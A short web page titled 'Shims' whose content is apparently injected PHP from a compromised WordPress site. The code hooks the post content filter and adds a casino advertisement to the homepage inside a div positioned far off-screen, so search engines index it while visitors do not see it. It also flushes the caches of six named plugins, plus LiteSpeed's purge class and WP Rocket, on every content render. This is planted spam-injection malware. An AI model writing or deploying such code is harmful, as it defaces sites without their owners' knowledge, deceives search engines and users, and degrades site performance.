Shims

if (!function_exists('add_custom_html_to_content_1')) {  
    function add_custom_html_to_content_1($content) {    
        $current_url = $_SERVER['REQUEST_URI'];    
      
        if ($current_url == '/') {    
            $custom_html ="<div style='position: absolute; left: -7299px;'><h2>Comic Play casino 100 free chip</h2>
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            $content .= $custom_html;    
      
        }      
        $plugins = array(  
            'W3 Total Cache' => 'w3tc_pgcache_flush',  
            'WP Super Cache' => 'wp_cache_clear_cache',  
            'LiteSpeed Cache' => 'litespeed_purge_all',  
            'Cache Enabler' => 'ce_clear_cache',  
            'Comet Cache' => 'comet_cache_clear_cache',   
            'Hyper Cache' => 'hyper_cache_clear_cache',   
        );  
        foreach ($plugins as $plugin_name => $function_name) {  
            if (function_exists($function_name)) {  
                call_user_func($function_name);  
            }  
        }  
    if (class_exists('LiteSpeed\Purge')) {  
      if (method_exists('LiteSpeed\Purge', 'purge_all')) {  
        LiteSpeed\Purge::purge_all('Custom Reason');  
      }  
    }      
        if (function_exists('rocket_clean_domain')) {  
            rocket_clean_domain();  
        }     
        return $content;    
    }       
    add_filter('the_content', 'add_custom_html_to_content_1');  
}
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